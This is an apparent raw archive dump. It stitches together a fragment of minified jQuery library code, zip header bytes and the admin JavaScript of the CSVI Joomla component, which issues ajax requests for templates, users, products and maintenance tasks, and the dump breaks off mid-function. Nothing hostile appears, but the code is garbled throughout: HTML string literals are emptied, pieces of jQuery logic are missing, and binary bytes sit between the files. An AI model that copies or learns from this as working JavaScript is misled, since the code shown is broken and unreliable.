V="abbr|article|aside|audio|canvas|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",W=/ jQuery\d+="(?:\d+|null)"/g,X=/^\s+/,Y=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,Z=/<([\w:]+)/,$=/",""],legend:[1,"
      ","
      "],thead:[1,"","
      "],tr:[2,"","
      "],td:[3,"","
      "],col:[2,"","
      "],area:[1,"",""],_default:[0,"",""]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,"div
      ","
      "]),f.fn.extend({text:function(a){if(f.isFunction(a))return this.each(function(b){var c=f(this);c.text(a.call(this,b,c.text()))});if(typeof a!="object"&&a!==b)return this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a));return f.text(this)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=f.isFunction(a);return this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,"body")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f.clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagName("*")),f.cleanData([d])),d.parentNode&&d.parentNode.removeChild(d);return this},empty:function() {for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&f.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){if(a===b)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(W,""):null;if(typeof a=="string"&&!ba.test(a)&&(f.support.leadingWhitespace||!X.test(a))&&!bg[(Z.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Y,"<$1>");try{for(var c=0,d=this.length;c1&&l0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d,e,g,h=f.support.html5Clone||!bc.test("<"+a.nodeName)?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]&&bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return h},clean:function(a,b,d,e){var g;b=b||c,typeof b.createElement=="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);var h=[],i;for(var j=0,k;(k=a[j])!=null;j++){typeof k=="number"&&(k+="");if(!k)continue;if(typeof k=="string")if(!_.test(k))k=b.createTextNode(k);else{k=k.replace(Y,"<$1>");var l=(Z.exec(k)||["",""])[1].toLowerCase(),m=bg[l]||bg._default,n=m[0],o=b.createElement("div");b===c?bh.appendChild(o):U(b).appendChild(o),o.innerHTML=m[1]+k+m[2];while(n--)o=o.lastChild;if(!f.support.tbody){var p=$.test(k),q=l==="table"&&!p?o.firstChild&&o.firstChild.childNodes:m[1]===""&&!p?o.childNodes:[];for(i=q.length-1;i>=0;--i)f.nodeName(q[i],"tbody")&&!q[i].childNodes.length&&q[i].parentNode.removeChild(q[i])}!f.support.leadingWhitespace&&X.test(k)&&o.insertBefore(b.createTextNode(X.exec(k)[0]),o.firstChild),k=o.childNodes}var r;if(!f.support.appendChecked)if(k[0]&&typeof (r=k.length)=="number")for(i=0;i=0)return b+"px"}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return br.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNumeric(b)?"alpha(opacity="+b*100+")":"",g=d&&d.filter||c.filter||"";c.zoom=1;if(b>=1&&f.trim(g.replace(bq,""))===""){c.removeAttribute("filter");if(d&&!d.filter)return}c.filter=bq.test(g)?g.replace(bq,e):g+" "+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){var c;f.swap(a,{display:"inline-block"},function(){b?c=bz(a,"margin-right","marginRight"):c=a.style.marginRight});return c}})}),c.defaultView&&c.defaultView.getComputedStyle&&(bA=function(a,b){var c,d,e;b=b.replace(bs,"-$1").toLowerCase(),(d=a.ownerDocument.defaultView)&&(e=d.getComputedStyle(a,null))&&(c=e.getPropertyValue(b),c===""&&!f.contains(a.ownerDocument.documentElement,a)&&(c=f.style(a,b)));return c}),c.documentElement.currentStyle&&(bB=function(a,b){var c,d,e,f=a.currentStyle&&a.currentStyle[b],g=a.style;f===null&&g&&(e=g[b])&&(f=e),!bt.test(f)&&bu.test(f)&&(c=g.left,d=a.runtimeStyle&&a.runtimeStyle.left,d&&(a.runtimeStyle.left=a.currentStyle.left),g.left=b==="fontSize"?"1em":f||0,f=g.pixelLeft+"px",g.left=c,d&&(a.runtimeStyle.left=d));return f===""?"auto":f}),bz=bA||bB,f.expr&&f.expr.filters&&(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!f.support.reliableHiddenOffsets&&(a.style&&a.style.display||f.css(a,"display"))==="none"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)});var bD=/%20/g,bE=/\[\]$/,bF=/\r?\n/g,bG=/#.*$/,bH=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,bI=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bJ=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,bK=/^(?:GET|HEAD)$/,bL=/^\/\//,bM=/\?/,bN=/)<[^<]*)*<\/script>/gi,bO=/^(?:select|textarea)/i,bP=/\s+/,bQ=/([?&])_=[^&]*/,bR=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,bS=f.fn.load,bT={},bU={},bV,bW,bX=["*/"]+["*"];try{bV=e.href}catch(bY){bV=c.createElement("a"),bV.href="",bV=bV.href}bW=bR.exec(bV.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!="string"&&bS)return bS.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h="GET";c&&(f.isFunction(c)?(d=c,c=b):typeof c=="object"&&(c=f.param(c,f.ajaxSettings.traditional),h="POST"));var i=this;f.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?f("
      ").append(c.replace(bN,"")).find(g):c)),d&&i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||bO.test(this.nodeName)||bI.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bF,"\r\n")}}):{name:b.name,value:c.replace(bF,"\r\n")}}).get()}}),f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){f.fn[b]=function(a){return this.on(b,a)}}),f.each(["get","post"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)&&(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,"script")},getJSON:function(a,b,c){return f.get(a,b,c,"json")},ajaxSetup:function(a,b){b?b_(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b_(a,b);return a},ajaxSettings:{url:bV,isLocal:bJ.test(bW[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":bX},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":f.parseJSON,"text xml":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bZ(bT),ajaxTransport:bZ(bU),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q&&clearTimeout(q),p=b,n=m||"",v.readyState=a>0?4:0;var o,r,u,w=c,x=l?cb(d,v,l):b,y,z;if(a>=200&&a<300||a===304){if(d.ifModified){if(y=v.getResponseHeader("Last-Modified"))f.lastModified[k]=y;if(z=v.getResponseHeader("Etag"))f.etag[k]=z}if(a===304)w="notmodified",o=!0;else try{r=cc(d,x),w="success",o=!0}catch(A){w="parsererror",u=A}}else{u=w;if(!w||a)w="error",a<0&&(a=0)}v.status=a,v.statusText=""+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t&&g.trigger("ajax"+(o?"Success":"Error"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t&&(g.trigger("ajaxComplete",[v,d]),--f.active||f.event.trigger("ajaxStop"))}}typeof a=="object"&&(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d&&(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks("once memory"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bH.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+"").replace(bG,"").replace(bL,bW[1]+"//"),d.dataTypes=f.trim(d.dataType||"*").toLowerCase().split(bP),d.crossDomain==null&&(r=bR.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bW[1]&&r[2]==bW[2]&&(r[3]||(r[1]==="http:"?80:443))==(bW[3]||(bW[1]==="http:"?80:443)))),d.data&&d.processData&&typeof d.data!="string"&&(d.data=f.param(d.data,d.traditional)),b$(bT,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bK.test(d.type),t&&f.active++===0&&f.event.trigger("ajaxStart");if(!d.hasContent){d.data&&(d.url+=(bM.test(d.url)?"&":"?")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bQ,"$1_="+x);d.url=y+(y===d.url?(bM.test(d.url)?"&":"?")+"_="+x:"")}}(d.data&&d.hasContent&&d.contentType!==!1||c.contentType)&&v.setRequestHeader("Content-Type",d.contentType),d.ifModified&&(k=k||d.url,f.lastModified[k]&&v.setRequestHeader("If-Modified-Since",f.lastModified[k]),f.etag[k]&&v.setRequestHeader("If-None-Match",f.etag[k])),v.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!=="*"?", "+bX+"; q=0.01":""):d.accepts["*"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=b$(bU,d,c,v);if(!p)w(-1,"No Transport");else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s<2)w(-1,z);else throw z}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery&&!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)ca(g,a[g],c,e);return d.join("&").replace(bD,"+")}}),f.extend({active:0,lastModified:{},etag:{}});var cd=f.now(),ce=/(\=)\?(&|$)|\?\?/i;f.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return f.expando+"_"+cd++}}),f.ajaxPrefilter("json jsonp",function(b,c,d){var e=b.contentType==="application/x-www-form-urlencoded"&&typeof b.data=="string";if(b.dataTypes[0]==="jsonp"||b.jsonp!==!1&&(ce.test(b.url)||e&&ce.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2";b.jsonp!==!1&&(j=j.replace(ce,l),b.url===j&&(e&&(k=k.replace(ce,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g&&f.isFunction(i)&&a[h](g[0])}),b.converters["script json"]=function(){g||f.error(h+" was not called");return g[0]},b.dataTypes[0]="json";return"script"}}),f.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),f.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var cf=a.ActiveXObject?function(){for(var a in ch)ch[a](0,1)}:!1,cg=0,ch;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&ci()||cj()}:ci,function(a){f.extend(f.support,{ajax:!!a,cors:!!a&&"withCredentials"in a})}(f.ajaxSettings.xhr()),f.support.ajax&&f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType&&h.overrideMimeType&&h.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent&&c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d&&(e||h.readyState===4)){d=b,i&&(h.onreadystatechange=f.noop,cf&&delete ch[i]);if(e)h.readyState!==4&&h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n&&n.documentElement&&(m.xml=n),m.text=h.responseText;try{k=h.statusText}catch(o){k=""}!j&&c.isLocal&&!c.crossDomain?j=m.text?200:404:j===1223&&(j=204)}}}catch(p){e||g(-1,p)}m&&g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cg,cf&&(ch||(ch={},f(a).unload(cf)),ch[i]=d),h.onreadystatechange=d)},abort:function(){d&&d(0,1)}}}});var ck={},cl,cm,cn=/^(?:toggle|show|hide)$/,co=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,cp,cq=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]],cr;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(cu("show",3),a,b,c);for(var g=0,h=this.length;g=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0&&(g=!1);if(g){i.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){h.style["overflow"+b]=i.overflow[a]}),i.hide&&f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,"fxshow"+b,!0),f.removeData(h,"toggle"+b,!0);d=i.complete,d&&(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!cx.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return a})}}),f.each(["Left","Top"],function(a,c){var d="scroll"+c;f.fn[d]=function(c){var e,g;if(c===b){e=this[0];if(!e)return null;g=cy(e);return g?"pageXOffset"in g?g[a?"pageYOffset":"pageXOffset"]:f.support.boxModel&&g.document.documentElement[d]||g.document.body[d]:e[d]}return this.each(function(){g=cy(this),g?g.scrollTo(a?f(g).scrollLeft():c,a?c:f(g).scrollTop()):this[d]=c})}}),f.each(["Height","Width"],function(a,c){var d=c.toLowerCase();f.fn["inner"+c]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,d,"padding")):this[d]():null},f.fn["outer"+c]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,d,a?"margin":"border")):this[d]():null},f.fn[d]=function(a){var e=this[0];if(!e)return a==null?null:this;if(f.isFunction(a))return this.each(function(b){var c=f(this);c[d](a.call(this,b,c[d]()))});if(f.isWindow(e)){var g=e.document.documentElement["client"+c],h=e.document.body;return e.document.compatMode==="CSS1Compat"&&g||h&&h["client"+c]||g}if(e.nodeType===9)return Math.max(e.documentElement["client"+c],e.body["scroll"+c],e.documentElement["scroll"+c],e.body["offset"+c],e.documentElement["offset"+c]);if(a===b){var i=f.css(e,d),j=parseFloat(i);return f.isNumeric(j)?j:i}return this.css(d,typeof a=="string"?a:a+"px")}}),a.jQuery=a.$=f,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return f})})(window);PKs>\mN5=5=com_csvi/assets/js/csvi.jsnuW+A/** * CSVI JavaScript * * CSVI * Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved. * * @package CSVI * @version $Id: csvi.js 2275 2013-01-03 21:08:43Z RolandD $ */ var Csvi = { // Retrieve the template types for the given component loadTemplateTypes: function() { var action = jQuery("#jform_options_action").val(); var component = jQuery("#jform_options_component").val(); jQuery.ajax({ async: false, url: 'index.php', dataType: 'json', data: 'option=com_csvi&task=templatetypes.loadtemplatetypes&format=json&action='+action+'&component='+component, success: function(data) { jQuery('#jform_options_operation > option').remove(); jQuery.each(data, function(value, name) { jQuery('#jform_options_operation').append(jQuery('').val(value).html(name)); }) }, error: function(data, status, statusText) { jAlert(statusText+'\r\n'+data.responseText); } }); }, getData: function(task) { var template_type = jQuery('#jformimport_type').val(); var table_name = jQuery('#jformcustom_table_import').val(); jQuery.ajax({ async: false, url: 'index.php', dataType: 'json', data: 'option=com_csvi&view=export&task='+task+'&format=json&template_type='+template_type+'&table_name='+table_name, success: function(data) { switch (task) { case 'loadtables': loadTables(data); break; case 'loadfields': loadFields(data); break; } }, error:function (xhr, ajaxOptions, thrownError){ jAlert(thrownError); } }); }, /** * Set the maintenance task */ setTask: function(task) { document.adminForm.task.value = task; }, createFolder: function(folder, element) { var spinner = jQuery('#'+element).html(""); jQuery.ajax({ async: false, url: 'index.php', dataType: 'html', data: 'option=com_csvi&task=about.createfolder&format=raw&folder='+folder, success: function(data) { location.reload(); }, error: function(data, status, statusText) { jQuery('#'+element).html(Joomla.JText._('COM_CSVI_ERROR_CREATING_FOLDER')); jAlert(statusText+'\r\n'+data.responseText); } }); }, updateRowClass: function(table) { jQuery("table#"+table+" tr:even").addClass("row0"); jQuery("table#"+table+" tr:odd").addClass("row1"); }, showSource: function(source) { switch (source) { case 'fromserver': jQuery('.importupload, .importftp, .importurl').parent().parent().hide(); jQuery('.importserver').parent().parent().show(); break; case 'fromurl': jQuery('.importupload, .importftp, .importserver').parent().parent().hide(); jQuery('.importurl').parent().parent().show(); break; case 'fromftp': jQuery('.importupload, .importserver, .importurl').parent().parent().hide(); jQuery('.importftp').parent().parent().show(); break; case 'fromupload': jQuery('.importserver, .importftp, .importurl').parent().parent().hide(); jQuery('.importupload').parent().parent().show(); break; case 'todownload': case 'toemail': jQuery('.exportftp').parent().parent().hide(); jQuery('.exportlocalpath').parent().parent().hide(); break; case 'tofile': jQuery('.exportftp').parent().parent().hide(); jQuery('.exportlocalpath').parent().parent().show(); break; case 'toftp': jQuery('.exportlocalpath').parent().parent().hide(); jQuery('.exportftp').parent().parent().show(); break; } return; }, searchUser: function() { _timeout = null; jQuery("#selectuserid tbody").remove(); jQuery("#selectuserid").append('
      '); var searchfilter = jQuery("input[name='searchuserbox']").val(); var component = jQuery("#jform_options_component").val(); jQuery.ajax({ async: false, url: 'index.php', datatype: 'json', data: 'option=com_csvi&task=process.getuser&format=json&filter='+searchfilter+'&component='+component, success: function(data) { jQuery("#ajaxuserloading").remove(); jQuery("#selectuserid tbody").remove(); var options = []; var r = 0; options[++r] = ''; if (data.length > 0) { for (var i = 0; i < data.length; i++) { options[++r] = ''; } } options[++r] = ''; jQuery("#selectuserid").append(options.join('')); jQuery("table#selectuserid tr:even").addClass("row0"); jQuery("table#selectuserid tr:odd").addClass("row1"); jQuery('table#selectuserid tbody tr').click(function() { var user_id = jQuery(this).find('td.user_id').html(); /* Check if the user ID is already in the select box */ var existingvals = []; jQuery('select#jform_order_orderuser option').each(function() { var optionval = jQuery(this).val(); if (optionval !== "") existingvals.push(optionval); }); if (jQuery.inArray(user_id, existingvals) >= 0) { return; } else { var options = ''; jQuery("select#jform_order_orderuser").append(options); jQuery("select#jform_order_orderuser option:eq(0)").attr("selected", false); } }); }, error: function(data, status, statusText) { jQuery("#ajaxproductloading").remove(); jAlert(statusText+'\r\n'+data.responseText); } }) }, searchProduct: function() { _timeout = null; jQuery("#selectproductsku tbody").remove(); jQuery("#selectproductsku").append(''); var searchfilter = jQuery("input[name='searchproductbox']").val(); var component = jQuery("#jform_options_component").val(); jQuery.ajax({ async: false, url: 'index.php', datatype: 'json', data: 'option=com_csvi&task=process.getproduct&format=json&filter='+searchfilter+'&component='+component, success: function(data) { jQuery("#ajaxproductloading").remove(); jQuery("#selectproductsku tbody").remove(); var options = []; var r = 0; options[++r] = ''; if (data.length > 0) { for (var i = 0; i < data.length; i++) { options[++r] = ''; } } options[++r] = ''; jQuery("#selectproductsku").append(options.join('')); jQuery("table#selectproductsku tr:even").addClass("row0"); jQuery("table#selectproductsku tr:odd").addClass("row1"); jQuery('table#selectproductsku tbody tr').click(function() { var product_sku = jQuery(this).find('td.product_sku').html(); /* Check if the product ID is already in the select box */ var existingvals = []; jQuery('select#jform_order_orderproduct option').each(function() { var optionval = jQuery(this).val(); if (optionval !== "") existingvals.push(optionval); }); if (jQuery.inArray(product_sku, existingvals) >= 0) { return; } else { var options = ''; jQuery("select#jform_order_orderproduct").append(options); jQuery("select#jform_order_orderproduct option:eq(0)").attr("selected", false); } }); }, error: function(data, status, statusText) { jQuery("#ajaxproductloading").remove(); jAlert(statusText+'\r\n'+data.responseText); } }) }, searchItemProduct: function() { _timeout = null; jQuery("#selectitemproductsku tbody").remove(); jQuery("#selectitemproductsku").append(''); var searchfilter = jQuery("input[name='searchitemproductbox']").val(); jQuery.ajax({ async: false, url: 'index.php', datatype: 'json', data: 'option=com_csvi&task=process.getitemproduct&format=json&filter='+searchfilter, success: function(data) { jQuery("#ajaxproductloading").remove(); jQuery("#selectitemproductsku tbody").remove(); var options = []; var r = 0; options[++r] = ''; if (data.length > 0) { for (var i = 0; i < data.length; i++) { options[++r] = ''; } } options[++r] = ''; jQuery("#selectitemproductsku").append(options.join('')); jQuery("table#selectitemproductsku tr:even").addClass("row0"); jQuery("table#selectitemproductsku tr:odd").addClass("row1"); jQuery('table#selectitemproductsku tbody tr').click(function() { var product_sku = jQuery(this).find('td.product_sku').html(); // Check if the product ID is already in the select box var existingvals = []; jQuery('select#jform_orderitem_orderitemproduct option').each(function() { var optionval = jQuery(this).val(); if (optionval !== "") existingvals.push(optionval); }); if (jQuery.inArray(product_sku, existingvals) >= 0) { return; } else { var options = ''; jQuery("select#jform_orderitem_orderitemproduct").append(options); jQuery("select#jform_orderitem_orderitemproduct option:eq(0)").attr("selected", false); } }); }, error: function(data, status, statusText) { jQuery("#ajaxproductloading").remove(); jAlert(statusText+'\r\n'+data.responseText); } }) }, loadExportSites: function(site, selected) { switch (site) { case 'xml': case 'html': jQuery.ajax({ async: false, url: 'index.php', dataType: 'json', data: 'option=com_csvi&task=process.loadsites&format=json&exportsite='+site+'&selected='+selected, success: function(data) { if (data) { jQuery('#jform_general_export_site').parent().html(data); } }, error: function(data, status, statusText) { jAlert(statusText+'\r\n'+data.responseText); } }); jQuery('#jform_general_export_site').parent().parent().show(); break; default: jQuery('#jform_general_export_site').parent().parent().hide(); break; } }, loadCategoryTree: function (lang, component) { jQuery.ajax({ async: false, url: 'index.php', dataType: 'json', data: 'option=com_csvi&task=process.loadcategorytree&format=json&language='+lang+'&component='+component, success: function(data) { if (data) { jQuery('#jform_product_product_categories > option').remove(); jQuery.each(data, function(key, item) { jQuery('#jform_product_product_categories').append(jQuery('').val(item.value).html(item.text)); }) jQuery("#jform_product_product_categories > option:first").attr("selected", "true"); } }, error: function(data, status, statusText) { jAlert(statusText+'\r\n'+data.responseText); } }); } } var CsviMaint = { loadOptions: function(option) { jQuery('#optionfield').empty(); switch (option) { case 'emptydatabase': message = Joomla.JText._('COM_CSVI_CONFIRM_DB_DELETE'); jConfirm(message, Joomla.JText._('COM_CSVI_'+option+'_LABEL'), function(r) { if (r) { Csvi.setTask('maintenance.'+option); } else { Csvi.setTask('maintenance.maintenance'); } }) break; case 'removecsvitables': message = Joomla.JText._('COM_CSVI_CONFIRM_CSVITABLES_DELETE'); jConfirm(message, option, function(r) { if (r) { Csvi.setTask('maintenance.'+option); } else { Csvi.setTask('maintenance.maintenance'); } }) break; case 'backuptemplates': jQuery('#optionfield').empty().append(''); Csvi.setTask('maintenance.'+option); break; case 'restoretemplates': jQuery('#optionfield').empty().append(''); Csvi.setTask('maintenance.'+option); break; case 'icecatindex': jQuery.ajax({ async: false, url: 'index.php', dataType: 'html', data: 'option=com_csvi&task=maintenance.icecatsettings&format=raw', success: function(data) { jQuery('#optionfield').empty().append(data); }, error: function(data, status, statusText) { jQuery('#optionfield').empty(); jAlert(statusText+'\r\n'+data.responseText); } }); Csvi.setTask('maintenance.'+option); break; case 'sortcategories': jQuery.ajax({ async: false, url: 'index.php', dataType: 'html', data: 'option=com_csvi&task=maintenance.sortcategories&format=raw', success: function(data) { jQuery('#optionfield').empty().append(data); }, error: function(data, status, statusText) { jQuery('#optionfield').empty(); jAlert(statusText+'\r\n'+data.responseText); } }); Csvi.setTask('maintenance.'+option); break; default: Csvi.setTask('maintenance.'+option); break; } }, loadOperation: function(component) { jQuery('#optionfield').empty(); jQuery.ajax({ async: false, url: 'index.php', dataType: 'html', data: 'option=com_csvi&task=maintenance.operations&component='+component+'&format=raw', success: function(data) { jQuery('#operation').html(data); }, error: function(data, status, statusText) { 